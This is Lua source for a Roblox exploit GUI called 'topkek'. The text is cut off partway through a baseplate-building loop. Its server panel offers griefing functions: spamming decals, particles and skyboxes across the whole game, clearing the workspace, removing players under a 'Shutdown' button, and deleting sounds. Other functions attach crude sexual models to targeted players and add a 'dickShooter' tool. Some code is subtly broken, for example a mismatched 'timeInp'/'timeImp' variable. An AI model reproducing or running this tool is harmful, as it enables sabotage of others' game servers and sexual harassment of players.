Navigator.Name = "Navigator"
Navigator.Parent = Base
Navigator.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
Navigator.BackgroundTransparency = 0.5
Navigator.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
Navigator.Position = UDim2.new(0, 10, 0, 35)
Navigator.Size = UDim2.new(0, 125, 1, -45)
Navigator.Visible = false
Navigator.BottomImage = "rbxassetid://573102620"
Navigator.MidImage = "rbxassetid://573102620"
Navigator.ScrollBarThickness = 5
Navigator.TopImage = "rbxassetid://573102620"
Item.Name = "Item"
Item.Parent = Navigator
Item.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
Item.BackgroundTransparency = 0.5
Item.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
Item.Position = UDim2.new(0, 5, 0, 5)
Item.Size = UDim2.new(1, -15, 0, 20)
Item.Selected = true
Item.Font = Enum.Font.SourceSans
Item.FontSize = Enum.FontSize.Size14
Item.Text = "NavItem"
Item.TextColor3 = Color3.new(0.721569, 0.721569, 0.721569)
ServerContainer.Name = "ServerContainer"
ServerContainer.Parent = Base
ServerContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
ServerContainer.BackgroundTransparency = 0.5
ServerContainer.Position = UDim2.new(0, 140, 0, 35)
ServerContainer.Size = UDim2.new(1, -150, 1, -45)
ServerContainer.Visible = false
ServerContainer.BottomImage = "rbxassetid://573102620"
ServerContainer.MidImage = "rbxassetid://573102620"
ServerContainer.ScrollBarThickness = 5
ServerContainer.TopImage = "rbxassetid://573102620"
dd.Name = "dd"
dd.Parent = ServerContainer
dd.BackgroundColor3 = Color3.new(0.0196078, 0.0313726, 0.0431373)
dd.Position = UDim2.new(0, 6, 0, 6)
dd.Size = UDim2.new(0.5, -10, 0, 20)
dd.Visible = false
dd.Font = Enum.Font.SourceSans
dd.FontSize = Enum.FontSize.Size14
dd.Text = "Troll Spam"
dd.TextColor3 = Color3.new(0.780392, 0.780392, 0.780392)
dd.TextStrokeTransparency = 0.5
ImageLabel_7.Parent = dd
ImageLabel_7.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_7.BackgroundTransparency = 1
ImageLabel_7.Position = UDim2.new(0, 2, 0, 0)
ImageLabel_7.Size = UDim2.new(0, 20, 0, 20)
ImageLabel_7.Image = "rbxassetid://133293265"
LocalPlayerContainer.Name = "LocalPlayerContainer"
LocalPlayerContainer.Parent = Base
LocalPlayerContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
LocalPlayerContainer.BackgroundTransparency = 0.5
LocalPlayerContainer.Position = UDim2.new(0, 140, 0, 35)
LocalPlayerContainer.Size = UDim2.new(1, -150, 1, -45)
LocalPlayerContainer.Visible = false
LocalPlayerContainer.BottomImage = "rbxassetid://573102620"
LocalPlayerContainer.MidImage = "rbxassetid://573102620"
LocalPlayerContainer.ScrollBarThickness = 5
LocalPlayerContainer.TopImage = "rbxassetid://573102620"
PlayersContainer.Name = "PlayersContainer"
PlayersContainer.Parent = Base
PlayersContainer.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
PlayersContainer.BackgroundTransparency = 0.5
PlayersContainer.Position = UDim2.new(0, 140, 0, 35)
PlayersContainer.Size = UDim2.new(1, -150, 1, -45)
PlayersContainer.Visible = false
PlayersContainer.BottomImage = "rbxassetid://573102620"
PlayersContainer.MidImage = "rbxassetid://573102620"
PlayersContainer.ScrollBarThickness = 5
PlayersContainer.TopImage = "rbxassetid://573102620"
function MakeContainer(n)
local cont = PlayersContainer:Clone()
cont.Name = n .. 'Container'
cont.Parent = Base
return cont
end
local ScriptsContainer = MakeContainer('Scripts')
local MiscContainer = MakeContainer('Miscellaneous')
local topkek = {}
topkek.store = {}
topkek.cache = {}
topkek.libgui = {}
topkek.libsettings = {}
topkek.libutil = {}
topkek.libwindows = {}
topkek.libcmd = {}
--[[ gay ass dropdown lib i made a while ago ]]--
dropdown = {}
dropdown.new = function(gui, items, placeholder)
local self = {}
self.value = placeholder
self.items = items
self.gui = gui
if self.gui:FindFirstChild("__DROPDOWN") then
self.gui["__DROPDOWN"]:Destroy()
end
self.debug = false
self.gui.Text = placeholder
self.gui.BorderSizePixel = 0
self.gui.ZIndex = 1
self.textcolor = self.gui.TextColor3
function self.make()
if self.gui:FindFirstChild("__DROPDOWN") then
self.gui["__DROPDOWN"]:Destroy()
end
self.selectgui = Instance.new("ScrollingFrame")
self.selectgui.Parent = self.gui
self.selectgui.Name = "__DROPDOWN"
self.selectgui.Size = UDim2.new(1, 0, 0, 100)
self.selectgui.Position = UDim2.new(0, 0, 0, self.gui.AbsoluteSize.Y)
self.selectgui.BorderSizePixel = 0
self.selectgui.ZIndex = 2
self.selectgui.BackgroundTransparency = self.gui.BackgroundTransparency
self.selectgui.BackgroundColor3 = self.gui.BackgroundColor3
self.selectgui.Visible = false
self.selectgui.CanvasSize = UDim2.new(0, 0, 0, (#self.items-1) * 20)
self.selectgui.ScrollBarThickness = 5
if #self.items < 4 then
self.selectgui.CanvasSize = UDim2.new(0, 0, 0, 0)
self.selectgui.Size = UDim2.new(1, 0, 0, (#self.items-1) * 20)
end
self.item = Instance.new("TextButton")
self.item.Size = UDim2.new(1, 0, 0, 20)
self.item.Position = UDim2.new(0, 0, 0, 0)
self.item.BackgroundTransparency = self.gui.BackgroundTransparency - 0.1
self.item.BackgroundColor3 = self.gui.BackgroundColor3
self.item.BorderSizePixel = 0
self.item.ZIndex = 2
self.item.TextColor3 = self.gui.TextColor3
self.item.Font = Enum.Font.SourceSans
self.item.FontSize = Enum.FontSize.Size14
self.curitem = nil
for i, v in pairs(self.items) do
if not (v == self.value) then
local ti = self.item:Clone()
ti.Parent = self.selectgui
if i == 1 then i = 2 end
ti.Position = UDim2.new(0, 0, 0, (i - 2) * 20)
ti.Text = v
ti.MouseButton1Down:connect(function()
self.value = v
self.open = false
self.selectgui.Visible = false
self.gui.Text = v
self.make()
end)
end
end
end
self.getvalue = function()
return self.value
end
self.update = function(itms)
self.items = itms
self.make()
end
self.open = false
self.gui.MouseButton1Down:connect(function()
if self.open == false then
self.selectgui.CanvasPosition = Vector2.new(0, 0)
self.selectgui.Visible = true
self.open = true
else
self.selectgui.Visible = false
self.open = false
end
end)
self.make()
return self
end
--[[ libsettings lole ]]--
topkek.libsettings.store = {}
function topkek.libsettings:getSetting(k)
return topkek.libsettings.store[k]
end
function topkek.libsettings:setSetting(k,v)
topkek.libsettings.store[k]=v
end
-- [[ libutil ]] --
function topkek.libutil:createObject(o, p)
local a, b = pcall(function()
Instance.new(o)
end)
if not a then
return
end
local obj = Instance.new(o)
for prop, val in pairs(p) do
pcall(function()
obj[prop] = val
end)
end
return obj
end
function topkek.libutil:Color3(r,g,b)
return Color3.new(r/255,g/255,b/255)
end; color3 = function(r,g,b) return topkek.libutil:Color3(r,g,b) end
function topkek.libutil:recurseDecal(img)--topkek2.0 code tbh
img = 'rbxassetid://' .. img
local function skybox(x)
local sky = Instance.new("Sky",game.Lighting)
local fcs={"Bk","Dn","Ft","Lf","Rt","Up"}
for i,v in pairs(fcs) do
sky["Skybox"..v]=x
end
end
local function particle(p, b)
local a = Instance.new("ParticleEmitter", p)
a.Rate = 500
a.Lifetime = NumberRange.new(20, 30)
a.VelocitySpread = 200
a.Texture = b
end
local function decal(p, b)
local sides = {"Back", "Bottom", "Front", "Left", "Right", "Top"}
for i, v in pairs(sides) do
local a = Instance.new("Decal", p)
a.Texture = b
a.Face = v
end
end
local function recurse(x)
for i, v in pairs(x:GetChildren()) do
pcall(function() -- 'error occured, no output from Lua' LOLE
if v:IsA("BasePart") then
particle(v, img)
decal(v, img)
end
if #(v:GetChildren())>0 then
recurse(v)
end
end)
end
end
recurse(game)
skybox(img)
end
function topkek.libutil:recurseRemove(type_)
local function recurse(x)
for i, v in pairs(x:GetChildren()) do
pcall(function()
if v:IsA(type_) then
v:Destroy()
end
if #(v:GetChildren())>0 then
recurse(v)
end
end)
end
end
recurse(game)
end
function topkek.libutil:recurseSet(type_,prop,val)
local function recurse(x)
for i, v in pairs(x:GetChildren()) do
pcall(function()
if v:IsA(type_) then
v[prop]=val
end
if #(v:GetChildren())>0 then
recurse(v)
end
end)
end
end
recurse(game)
end
function topkek.libutil:recurseSetObj(obj,type_,prop,val)
local function recurse(x)
for i, v in pairs(x:GetChildren()) do
pcall(function()
if v:IsA(type_) then
v[prop]=val
end
if #(v:GetChildren())>0 then
recurse(v)
end
end)
end
end
recurse(obj)
end
function topkek.libutil:recurseFunc(type_,func)
local function recurse(x)
for i, v in pairs(x:GetChildren()) do
pcall(function()
if v:IsA(type_) then
func(v)
end
if #(v:GetChildren())>0 then
recurse(v)
end
end)
end
end
recurse(game)
end
function topkek.libutil:Play(id)
local mu = Instance.new("Sound", game.Workspace)
mu.Volume = 1
mu.Looped = true
mu.Pitch = 1
mu.SoundId = "rbxassetid://"..tostring(id)
mu:Play()
end
function topkek.libutil:GetPlayerList()
local list = {'Everybody'}
for i, v in pairs(game:service'Players':GetPlayers()) do
table.insert(list, v.Name)
end
return list
end
function topkek.libutil:doPlayers(drop, func)
local str = drop.getvalue()
local plrs = {}
if str == 'Everybody' then
plrs = game:GetService('Players'):GetPlayers()
else
plrs = {game:GetService('Players'):FindFirstChild(str)}
end
for i, v in pairs(plrs) do
func(v)
end
end
function topkek.libutil:insert(id)
if topkek.cache[id] then return topkek.cache[id] end -- moist
local obj = game:service'InsertService':LoadAsset(id):GetChildren()[1]
topkek.cache[id] = obj:Clone()
return obj
end; insert = function(id) return topkek.libutil:insert(id) end
function topkek.libutil:getTorso(plr) --r15 compatibility lole
if plr.Character then
if plr.Character:FindFirstChild('UpperTorso') then
return plr.Character.UpperTorso
else
return plr.Character.Torso
end
end
end
function topkek.libutil:weiner(plr)
plr=plr.Character
Shaft=Instance.new("Part", plr)
Shaft.Name='Shaft'
Shaft.Size=Vector3.new(1, 2.5, 1)
Shaft.TopSurface=0
Shaft.BottomSurface=0
Shaft.CanCollide=true
Cyln=Instance.new("CylinderMesh", Shaft)
Cyln.Scale=Vector3.new(0.5,0.7,0.5)
Instance.new("Weld", plr)
plr.Weld.Part0=plr:FindFirstChild("Torso") or plr:FindFirstChild("LowerTorso")
plr.Weld.Part1=plr.Shaft
plr.Weld.C0=CFrame.new(0,-0.35,-0.9)*CFrame.fromEulerAnglesXYZ(2.2,0,0)
Shaft.BrickColor=BrickColor.new("Pastel brown")
Tip=Instance.new("Part", plr)
Tip.Name='Tip'
Tip.TopSurface=0
Tip.BottomSurface=0
Tip.Size=Vector3.new(1, 1, 1)
Tip.CanCollide=true
Tip.Touched:connect(function(prt) if prt.Parent~=player then spawn(function() for i=1, 5 do local pert=Instance.new("Part", player) pert.CFrame=CFrame.new(prt.Position) pert.CanCollide=true local mesh=Instance.new("BlockMesh", pert) mesh.Scale=Vector3.new(0.2,0.2,0.2) pert.BrickColor=BrickColor.new("White") end end) end end)
Cyln2=Instance.new("SpecialMesh", Tip)
Cyln2.MeshType='Sphere'
Cyln2.Scale=Vector3.new(0.6,0.6,0.6)
Instance.new("Weld", plr).Name='Weld2'
plr.Weld2.Part0=plr.Shaft
plr.Weld2.Part1=plr.Tip
plr.Weld2.C0=CFrame.new(0,-.9,0)
Tip.BrickColor=BrickColor.new("Pink")
-----
Ball1=Instance.new("Part", plr)
Ball1.Name='Ball1'
Ball1.Size=Vector3.new(1, 1, 1)
Ball1.TopSurface=0
Ball1.BottomSurface=0
Cyln3=Instance.new("SpecialMesh", Ball1)
Cyln3.MeshType='Sphere'
Cyln3.Scale=Vector3.new(0.4,0.4,0.4)
Instance.new("Weld", plr).Name='Weld3'
plr.Weld3.Part0=plr.Shaft
plr.Weld3.Part1=plr.Ball1
plr.Weld3.C0=CFrame.new(0.225,.4,0.2)
Ball1.BrickColor=BrickColor.new("Pastel brown")
-----
Ball2=Instance.new("Part", plr)
Ball2.Name='Ball2'
Ball2.Size=Vector3.new(1, 1, 1)
Ball2.TopSurface=0
Ball2.BottomSurface=0
Cyln3=Instance.new("SpecialMesh", Ball2)
Cyln3.MeshType='Sphere'
Cyln3.Scale=Vector3.new(0.4,0.4,0.4)
Instance.new("Weld", plr).Name='Weld4'
plr.Weld4.Part0=plr.Shaft
plr.Weld4.Part1=plr.Ball2
plr.Weld4.C0=CFrame.new(-0.225,.4,0.2)
Ball2.BrickColor=BrickColor.new("Pastel brown")
end
function topkek.libutil:scalePlayer(plr, sz)
local pchar = plr.Character
if pchar:FindFirstChild("UpperTorso") then
warn("Player [" ..plr.Name.. "] is R15.")
return
end
local function scale(chr,scl)
for _,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") then
v:Clone()
v.Parent = game.Lighting
end
end
local Head = chr['Head']
local Torso = chr['Torso']
local LA = chr['Left Arm']
local RA = chr['Right Arm']
local LL = chr['Left Leg']
local RL = chr['Right Leg']
local HRP = chr['HumanoidRootPart']
wait(0.1)
Head.formFactor = 3
Torso.formFactor = 3
LA.formFactor = 3
RA.formFactor = 3
LL.formFactor = 3
RL.formFactor = 3
HRP.formFactor = 3
Head.Size = Vector3.new(scl * 2, scl, scl)
Torso.Size = Vector3.new(scl * 2, scl * 2, scl)
LA.Size = Vector3.new(scl, scl * 2, scl)
RA.Size = Vector3.new(scl, scl * 2, scl)
LL.Size = Vector3.new(scl, scl * 2, scl)
RL.Size = Vector3.new(scl, scl * 2, scl)
HRP.Size = Vector3.new(scl * 2, scl * 2, scl)
local Motor1 = Instance.new('Motor6D', Torso)
Motor1.Part0 = Torso
Motor1.Part1 = Head
Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.C1 = CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.Name = "Neck"
local Motor2 = Instance.new('Motor6D', Torso)
Motor2.Part0 = Torso
Motor2.Part1 = LA
Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
Motor2.Name = "Left Shoulder"
local Motor3 = Instance.new('Motor6D', Torso)
Motor3.Part0 = Torso
Motor3.Part1 = RA
Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor3.Name = "Right Shoulder"
local Motor4 = Instance.new('Motor6D', Torso)
Motor4.Part0 = Torso
Motor4.Part1 = LL
Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
Motor4.Name = "Left Hip"
local Motor5 = Instance.new('Motor6D', Torso)
Motor5.Part0 = Torso
Motor5.Part1 = RL
Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor5.Name = "Right Hip"
local Motor6 = Instance.new('Motor6D', HRP)
Motor6.Part0 = HRP
Motor6.Part1 = Torso
Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
end
scale(pchar, sz)
for _,v in pairs(game.Lighting:GetChildren()) do
if v:IsA("Hat") then
v.Parent = pchar
end
end
end
function topkek.libutil:dickShooter()
Player = game:GetService("Players").LocalPlayer
Character = Player.Character
PlayerGui = Player.PlayerGui
Backpack = Player.Backpack
Torso = Character.Torso
Head = Character.Head
LeftArm = Character["Left Arm"]
LeftLeg = Character["Left Leg"]
RightArm = Character["Right Arm"]
RightLeg = Character["Right Leg"]
LS = Torso["Left Shoulder"]
LH = Torso["Left Hip"]
RS = Torso["Right Shoulder"]
RH = Torso["Right Hip"]
Tool = Instance.new("HopperBin")
Tool.Parent = Backpack
Tool.Name = "Painis"
Bin = Tool
so = function(id, par, vol, pit)
coroutine.resume(coroutine.create(function()
local sou = Instance.new("Sound", par or workspace)
sou.Volume = vol
sou.Pitch = pit or 1
sou.SoundId = id
wait()
sou:play()
wait(6)
sou:Remove()
end
))
end
ob1d = function(mouse)
size = 0.5
mode = 1
color = BrickColor.new(Color3.new(math.random(), math.random(), math.random()))
mo = Instance.new("Model")
mo.Name = "EEEEUGH HA HA HAAAAA"
mo.Parent = workspace
game.Debris:AddItem(mo, 10)
p = Instance.new("Seat")
p.Name = "Torso"
p.Size = Vector3.new(14, 50, 14) * size
p.BrickColor = color
m = Instance.new("SpecialMesh")
m.Parent = p
p.Name = "Torso"
p.Parent = mo
p = Instance.new("Seat")
p.Shape = "Ball"
p.Size = Vector3.new(24, 24, 24) * size
p.BrickColor = color
p.Name = "Legball"
for i = 1, 10 do
lol = Instance.new("Seat")
lol.BrickColor = BrickColor:Black()
lol.Name = "SEE?"
lol.Parent = mo
lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
w = Instance.new("Weld")
w.Part0 = p
w.Part1 = lol
w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
w.Parent = w.Part0
end
p.Parent = mo
w = Instance.new("Weld")
w.Part0 = mo.Torso
w.Part1 = p
w.C0 = CFrame.new(16 * (size / 2), -48 * (size / 2), 0)
w.Parent = w.Part0
p = Instance.new("Seat")
p.Shape = "Ball"
p.Size = Vector3.new(24, 24, 24) * size
p.BrickColor = color
p.Name = "Legball"
for i = 1, 10 do
lol = Instance.new("Seat")
lol.BrickColor = BrickColor:Black()
lol.Name = "SEE?"
lol.Parent = mo
lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
w = Instance.new("Weld")
w.Part0 = p
w.Part1 = lol
w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
w.Parent = w.Part0
end
p.Parent = mo
w = Instance.new("Weld")
w.Part0 = mo.Torso
w.Part1 = p
w.C0 = CFrame.new(-16 * (size / 2), -48 * (size / 2), 0)
w.Parent = w.Part0
p = Instance.new("Seat")
p.Shape = "Ball"
p.Size = Vector3.new(21, 15, 21) * size
p.BrickColor = color
p.Name = "Legball"
for i = 1, 10 do
lol = Instance.new("Seat")
lol.BrickColor = BrickColor:Black()
lol.Name = "SEE?"
lol.Parent = mo
lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
w = Instance.new("Weld")
w.Part0 = p
w.Part1 = lol
w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
w.Parent = w.Part0
end
p.Parent = mo
w = Instance.new("Weld")
w.Part0 = mo.Torso
w.Part1 = p
w.C0 = CFrame.new(0, 60 * (size / 2), 0)
m = Instance.new("SpecialMesh")
m.Parent = p
p.Name = "Head"
w.Parent = w.Part0
s = Instance.new("Sound")
s.Parent = mo.Torso
s.Volume = 100
s.Pitch = 1
s.SoundId = "http://www.roblox.com/asset/?id=149779810"
s.Looped = true
s:play()
coroutine.resume(coroutine.create(function(Part)
while Part.Parent ~= nil do
wait(math.random())
so("http://www.roblox.com/asset/?id=148636758", Part, 100, 1)
end
end
), mo.Torso)
mo.Torso.CFrame = mo.Torso.CFrame * Torso.CFrame * CFrame.new(0, 0, -50 * size) * CFrame.fromEulerAnglesXYZ(-1.57, 0, 0)
mo.Torso.Velocity = mouse.Hit.lookVector * 400
coroutine.resume(coroutine.create(function(Part)
while 1 do
wait(math.random(0, 1) + math.random())
Part.RotVelocity = Vector3.new(math.random(-40, 40), math.random(-40, 40), math.random(-40, 40))
end
end
), mo.Torso)
end
ob1u = function(mouse)
end
buttonhold = false
key = function(key, mouse)
end
key2 = function(key, mouse)
end
s = function(mouse)
mouse.Button1Down:connect(function()
ob1d(mouse)
end
)
mouse.Button1Up:connect(function()
ob1u(mouse)
end
)
mouse.KeyDown:connect(key)
mouse.KeyUp:connect(key2)
end
ds = function(mouse)
end
Bin.Selected:connect(s)
Bin.Deselected:connect(ds)
end
--[[ libgui xd ]]--
topkek.libgui.seperation = 12
function topkek.libgui:addLeftIcon(parent, img, sz)
topkek.libutil:createObject('ImageLabel', {
Parent = parent;
BackgroundTransparency = 1;
Position = UDim2.new(0, 2, 0, 0);
Size = UDim2.new(0, sz, 0, sz);
Image = img;
})
end
function topkek.libgui:hookContainer(o, sepr, stt)
if not o:IsA("ScrollingFrame") then
return nil
end
local self = {}
self.main = o
self.drawX = 0
self.drawY = stt or topkek.libgui.seperation/2
self.drawHeight = 0
self.sepr = sepr or topkek.libgui.seperation
function self:drawButton(sz, txt, func, ysz, cbgd)
local xposOffset = 0
local xposScale = self.drawX
local xszOffset = 0
local xszScale = sz
if not (self.drawX == 0) then
xszOffset = -4
if sz + self.drawX > 0.998 then
xszOffset = -11
end
elseif sz == 1 then
xszOffset = -(self.sepr) - 5
xposOffset = self.sepr/2
else
xszOffset = -4 + -(self.sepr/2)
xposOffset = self.sepr/2
end
if not ysz then ysz = 20 end
local obj = topkek.libutil:createObject("TextButton", {
Parent = self.main;
BackgroundColor3 = cbgd or color3(15, 23, 30);
BorderColor3 = color3(27, 42, 53);
Position = UDim2.new(xposScale, xposOffset, 0, self.drawY);
Size = UDim2.new(xszScale, xszOffset, 0, ysz);
Font = 'SourceSans';
FontSize = 'Size14';
Text = txt;
TextSize = 14;
TextColor3 = color3(199, 199, 199);
TextStrokeTransparency = 0.5;
})
obj.MouseButton1Down:connect(function()
func()
end)
if ysz > self.drawHeight then
self.drawHeight = ysz
end
self.drawX = self.drawX + sz
if self.drawX > 0.998 then
self.drawY = self.drawY + 3 + self.drawHeight
self.drawX = 0
self.drawHeight = 0
self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
end
return obj
end
function self:GetChildren()
return self.main:GetChildren()
end
function self:getDrawY()
return self.drawY
end
function self:setDrawY(y)
self.drawY = y
end
function self:drawTextBox(sz, txt, ysz, cbgd)
local xposOffset = 0
local xposScale = self.drawX
local xszOffset = 0
local xszScale = sz
if not (self.drawX == 0) then
xszOffset = -4
if sz + self.drawX > 0.998 then
xszOffset = -11
end
elseif sz == 1 then
xszOffset = -(self.sepr) - 5
xposOffset = self.sepr/2
else
xszOffset = -4 + -(self.sepr/2)
xposOffset = self.sepr/2
end
if not ysz then ysz = 20 end
local obj = topkek.libutil:createObject("TextBox", {
Parent = self.main;
BackgroundColor3 = cbgd or color3(5, 8, 11);
BorderColor3 = color3(27, 42, 53);
Position = UDim2.new(xposScale, xposOffset, 0, self.drawY);
Size = UDim2.new(xszScale, xszOffset, 0, ysz);
Font = 'SourceSans';
FontSize = 'Size14';
Text = txt;
TextSize = 14;
TextColor3 = color3(199, 199, 199);
})
if ysz > self.drawHeight then
self.drawHeight = ysz
end
self.drawX = self.drawX + sz
if self.drawX > 0.998 then
self.drawY = self.drawY + 3 + self.drawHeight
self.drawX = 0
self.drawHeight = 0
self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
end
return obj
end
function self:drawScrollingContainer(ysz)
local sz = UDim2.new(1, -(self.sepr/2) - 11, 0, ysz)
local pos = UDim2.new(0, self.sepr/2, 0, self.drawY)
local obj = topkek.libutil:createObject("ScrollingFrame", {
Parent = self.main;
BackgroundColor3 = color3(7, 11, 15);
BorderColor3 = color3(27, 42, 53);
Position = pos;
Size = sz;
BottomImage = 'rbxassetid://573102620';
MidImage = 'rbxassetid://573102620';
TopImage = 'rbxassetid://573102620';
ScrollBarThickness = 5;
})
self.drawY = self.drawY + 5 + ysz
self.drawX = 0
self.drawHeight = 0
self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
return topkek.libgui:hookContainer(obj, 12, 5)
end
function self:drawContainer(xsz, ysz)
local sz = UDim2.new(xsz, -(self.sepr/2) - 11, 0, ysz)
local pos = UDim2.new(0, self.sepr/2, 0, self.drawY)
local obj = topkek.libutil:createObject("ScrollingFrame", {
Parent = self.main;
BackgroundTransparency = 1;
Position = pos;
Size = sz;
})
self.drawY = self.drawY + 5 + ysz
self.drawX = 0
self.drawHeight = 0
self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
return topkek.libgui:hookContainer(obj, 12, 5)
end
function self:addSpacing()
self.drawY = self.drawY + 3
end
function self:center()
local a,c,b=
self.main.Position.X.Scale,
self.main.Position.X.Offset,self.main.Size.Y.Offset
self.main.Position=UDim2.new(a,c+2, 0.5, -(b/2))
end
return self
end
--[[ windows ]]--
topkek.libwindows.windows = {}
function topkek.libwindows:registerWindow(w)
table.insert(topkek.libwindows.windows, w)
end
function topkek.libwindows:switchWindow(w, x)
for _, k in pairs(topkek.libwindows.windows) do
if k.Name == w then
k.Visible = true
else
k.Visible = false
end
end
if w == 'HomeContainer' then
base.Navigator.Visible = false
else
base.Navigator.Visible = true
end
base.Top.Location.Text = x
end
function topkek.libwindows:initiateNavigator()
local nav = base.Navigator
local template = nav.Item:Clone(); nav.Item:Destroy();
local wins = topkek.libsettings:getSetting('windows')
local y = 5
for _, k in pairs(wins) do
local o = template:Clone()
o.Parent = nav
o.Position = UDim2.new(0, 5, 0, y)
o.Text = k
o.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow(k .. 'Container', k)
end)
y = y + 25
end
nav.CanvasSize = UDim2.new(0, 0, 0, y)
end
function topkek.libwindows:initiateHome()
local home = base.HomeContainer
home.LocalPlayer.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('LocalPlayerContainer', 'LocalPlayer')
end)
home.Server.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('ServerContainer', 'Server')
end)
home.Scripts.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('ScriptsContainer', 'Scripts')
end)
home.Miscellaneous.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('MiscellaneousContainer', 'Miscellaneous')
end)
home.Players.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('PlayersContainer', 'Players')
end)
home.Settings.Mask.MouseButton1Down:connect(function()
topkek.libwindows:switchWindow('SettingsContainer', 'Settings')
end)
end
--[[ defines ]]--
topkek.libsettings:setSetting('version', '1.0.0')
topkek.libsettings:setSetting('bans', {})
topkek.libsettings:setSetting('admins', {})
topkek.libsettings:setSetting('windows', {
'Home';
'Server';
'LocalPlayer';
'Players';
'Scripts';
'Miscellaneous';
'Settings';
'Explorer';
'Gear';
'Hats';
'Music';
'Effects';
'Filtering';
'Commands';
})
topkek.libsettings:setSetting('misc', {
'Explorer';
'Gear';
'Hats';
'Music';
'Effects';
'Filtering';
'Commands';
})
topkek.store.gui = ScreenGui; gui = topkek.store.gui -- change later
topkek.store.base = topkek.store.gui['Base']; base = topkek.store.base
-- [[ server ]] --
--sz, txt, func, ysz, cbgd
local servwin = topkek.libgui:hookContainer(base['ServerContainer'])
local decalList, decalImp = servwin:drawScrollingContainer(100)
local decalAct = servwin:drawButton(2/3,'Spam Decal',function()
topkek.libutil:recurseDecal(decalImp.Text)end)
decalImp = servwin:drawTextBox(1/3,'573896613')
servwin:drawButton(1,'Rollback Spam',function()
topkek.libutil:recurseRemove('ParticleEmitter')
topkek.libutil:recurseRemove('Decal')
end)
local decs = {
{'Cerberus', '573896613'},
{'Rain', '574772793'},
{'Robbie', '574773630'},
{'Pepe', '244905904'},
{'Troll Face', '48308661'},
{'Jeff', '109129888'},
{'Shrek', '170539018'},
{'Doge', '133720697'},
{'Dat Boi', '409578848'},
}
for _, v in pairs(decs) do
local b = decalList:drawButton(1, v[1], function()decalImp.Text=v[2]end,20,color3(5,8,11))
topkek.libgui:addLeftIcon(b,'rbxassetid://'..v[2],20)
end
servwin:addSpacing()
-- [[lighting]] --
-- <<time>> --
local timeInp
servwin:drawButton(2/3,'Set Time',function()
game:GetService('Lighting').TimeOfDay = timeImp.Text .. ":00:00"
end)
timeImp = servwin:drawTextBox(1/3,'14')
-- <<fog> --
local fogInp
servwin:drawButton(2/3,'Set FogEnd',function()
if not tonumber(fogInp.Text) then return end
game:GetService('Lighting').FogEnd = tonumber(fogInp.Text)
end)
fogInp = servwin:drawTextBox(1/3,'100000')
-- <<brightness>> --
local brightInp
servwin:drawButton(2/3,'Set Brightness',function()
if not tonumber(brightInp.Text) then return end
game:GetService('Lighting').Brightness = tonumber(brightInp.Text)
end)
brightInp = servwin:drawTextBox(1/3,'1')
-- <<reset>> --
servwin:drawButton(1,'Reset Lighting',function()
local l = game:service'Lighting'
l.Ambient = Color3.new(0, 0, 0)
l.Brightness = 1
l.GlobalShadows = true
l.Outlines = true
l.FogEnd = 100000
l.FogStart = 0
l:SetMinutesAfterMidnight(12*60)
end)
-- [[ fixing ]] --
servwin:addSpacing()
servwin:drawButton(1/2,'Clear Server',function()
for i,v in pairs(game:service'Workspace':GetChildren()) do
if (not v:IsA("Terrain"))and(v.Name~="Camera") then
v:Destroy()
end
end
end)
servwin:drawButton(1/2,'Shutdown',function()
for i,v in pairs(game:GetService('Players')) do
v.Parent = nil
end
end)
servwin:drawButton(1/2,'Remove Sound',function()
topkek.libutil:recurseRemove('Sound')
end)
servwin:drawButton(1/2,'Baseplate',function()
for X = -2500, 2500, 512 do
for Z = -2500, 2500, 512 do
local P = Instance.new("Part")
P.Anchored = true
P.Locked = true
P.Size = Vector3.new(512,3,512)
P.CFrame = CFrame.new(X,0,Z)
